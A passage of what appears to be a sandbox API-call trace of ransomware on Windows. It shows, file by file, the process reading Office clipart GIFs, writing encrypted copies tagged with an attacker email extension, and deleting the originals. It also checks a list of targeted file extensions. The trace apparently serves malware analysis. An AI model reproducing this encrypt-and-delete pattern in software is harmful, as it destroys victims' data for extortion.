dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.387] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17964) returned 1 [0203.387] CloseHandle (hObject=0x574) returned 1 [0203.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0203.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.388] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.388] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.389] GetLastError () returned 0x0 [0203.389] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x462c, lpOverlapped=0x0) returned 1 [0203.391] WriteFile (in: hFile=0x578, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4630, lpOverlapped=0x0) returned 1 [0203.392] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.392] WriteFile (in: hFile=0x578, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.392] SetEndOfFile (hFile=0x578) returned 1 [0203.392] CloseHandle (hObject=0x578) returned 1 [0203.392] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.393] SetEndOfFile (hFile=0x574) returned 1 [0203.396] CloseHandle (hObject=0x574) returned 1 [0203.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0203.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.421] lstrlenW (lpString=".doc") returned 4 [0203.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.421] lstrlenW (lpString=".docx") returned 5 [0203.421] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0203.421] lstrlenW (lpString=".pdf") returned 4 [0203.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.421] lstrlenW (lpString=".xls") returned 4 [0203.421] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.421] lstrlenW (lpString=".xlsx") returned 5 [0203.421] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0203.421] lstrlenW (lpString=".ppt") returned 4 [0203.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.421] lstrlenW (lpString=".zip") returned 4 [0203.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.421] lstrlenW (lpString=".rar") returned 4 [0203.421] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.421] lstrlenW (lpString=".bz2") returned 4 [0203.421] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.421] lstrlenW (lpString=".7z") returned 3 [0203.421] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.421] lstrlenW (lpString=".dbf") returned 4 [0203.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.422] lstrlenW (lpString=".1cd") returned 4 [0203.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.422] lstrlenW (lpString=".jpg") returned 4 [0203.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.422] lstrlenW (lpString=".doc") returned 4 [0203.422] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.422] lstrlenW (lpString=".docx") returned 5 [0203.422] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0203.422] lstrlenW (lpString=".pdf") returned 4 [0203.422] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString=".xls") returned 4 [0203.422] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString=".xlsx") returned 5 [0203.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0203.422] lstrlenW (lpString=".ppt") returned 4 [0203.422] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.422] lstrlenW (lpString=".zip") returned 4 [0203.422] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString=".rar") returned 4 [0203.422] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.422] lstrlenW (lpString=".bz2") returned 4 [0203.423] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.423] lstrlenW (lpString=".7z") returned 3 [0203.423] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.423] lstrlenW (lpString=".dbf") returned 4 [0203.423] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.423] lstrlenW (lpString=".1cd") returned 4 [0203.423] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0203.423] lstrlenW (lpString=".jpg") returned 4 [0203.423] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.423] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.423] lstrlenW (lpString="J0099193.GIF") returned 12 [0203.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.443] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=35546) returned 1 [0203.443] CloseHandle (hObject=0x578) returned 1 [0203.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0203.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.941] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.941] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.942] GetLastError () returned 0x0 [0203.942] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x8ada, lpOverlapped=0x0) returned 1 [0203.944] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0203.946] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.946] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.946] SetEndOfFile (hFile=0x36c) returned 1 [0203.946] CloseHandle (hObject=0x36c) returned 1 [0203.946] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.946] SetEndOfFile (hFile=0x53c) returned 1 [0203.949] CloseHandle (hObject=0x53c) returned 1 [0203.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0203.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.950] lstrlenW (lpString=".doc") returned 4 [0203.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.950] lstrlenW (lpString=".docx") returned 5 [0203.950] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0203.950] lstrlenW (lpString=".pdf") returned 4 [0203.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.950] lstrlenW (lpString=".xls") returned 4 [0203.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.950] lstrlenW (lpString=".xlsx") returned 5 [0203.950] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0203.950] lstrlenW (lpString=".ppt") returned 4 [0203.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.950] lstrlenW (lpString=".zip") returned 4 [0203.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString=".rar") returned 4 [0203.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString=".bz2") returned 4 [0203.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.951] lstrlenW (lpString=".7z") returned 3 [0203.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString=".dbf") returned 4 [0203.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString=".1cd") returned 4 [0203.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString=".jpg") returned 4 [0203.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString=".doc") returned 4 [0203.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.951] lstrlenW (lpString=".docx") returned 5 [0203.951] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0203.951] lstrlenW (lpString=".pdf") returned 4 [0203.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString=".xls") returned 4 [0203.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString=".xlsx") returned 5 [0203.951] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0203.951] lstrlenW (lpString=".ppt") returned 4 [0203.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.951] lstrlenW (lpString=".zip") returned 4 [0203.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.951] lstrlenW (lpString=".rar") returned 4 [0203.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.952] lstrlenW (lpString=".bz2") returned 4 [0203.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.952] lstrlenW (lpString=".7z") returned 3 [0203.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.952] lstrlenW (lpString=".dbf") returned 4 [0203.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.952] lstrlenW (lpString=".1cd") returned 4 [0203.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0203.952] lstrlenW (lpString=".jpg") returned 4 [0203.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.952] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.952] lstrlenW (lpString="J0099197.GIF") returned 12 [0203.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.953] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10898) returned 1 [0203.953] CloseHandle (hObject=0x53c) returned 1 [0203.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0203.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.953] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.953] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.954] GetLastError () returned 0x0 [0203.954] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2a92, lpOverlapped=0x0) returned 1 [0203.956] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0203.957] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.957] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.957] SetEndOfFile (hFile=0x36c) returned 1 [0203.957] CloseHandle (hObject=0x36c) returned 1 [0203.957] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.957] SetEndOfFile (hFile=0x53c) returned 1 [0203.960] CloseHandle (hObject=0x53c) returned 1 [0203.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0203.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.964] lstrlenW (lpString=".doc") returned 4 [0203.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.964] lstrlenW (lpString=".docx") returned 5 [0203.964] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0203.964] lstrlenW (lpString=".pdf") returned 4 [0203.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.964] lstrlenW (lpString=".xls") returned 4 [0203.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.964] lstrlenW (lpString=".xlsx") returned 5 [0203.964] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0203.964] lstrlenW (lpString=".ppt") returned 4 [0203.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.964] lstrlenW (lpString=".zip") returned 4 [0203.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.964] lstrlenW (lpString=".rar") returned 4 [0203.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.964] lstrlenW (lpString=".bz2") returned 4 [0203.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.964] lstrlenW (lpString=".7z") returned 3 [0203.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.964] lstrlenW (lpString=".dbf") returned 4 [0203.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.964] lstrlenW (lpString=".1cd") returned 4 [0203.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString=".jpg") returned 4 [0203.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString=".doc") returned 4 [0203.965] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.965] lstrlenW (lpString=".docx") returned 5 [0203.965] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0203.965] lstrlenW (lpString=".pdf") returned 4 [0203.965] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString=".xls") returned 4 [0203.965] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString=".xlsx") returned 5 [0203.965] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0203.965] lstrlenW (lpString=".ppt") returned 4 [0203.965] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString=".zip") returned 4 [0203.965] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString=".rar") returned 4 [0203.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.965] lstrlenW (lpString=".bz2") returned 4 [0203.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.965] lstrlenW (lpString=".7z") returned 3 [0203.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString=".dbf") returned 4 [0203.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.965] lstrlenW (lpString=".1cd") returned 4 [0203.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0203.966] lstrlenW (lpString=".jpg") returned 4 [0203.966] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.966] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.966] lstrlenW (lpString="J0099198.GIF") returned 12 [0203.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.966] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5259) returned 1 [0203.967] CloseHandle (hObject=0x53c) returned 1 [0203.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0203.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 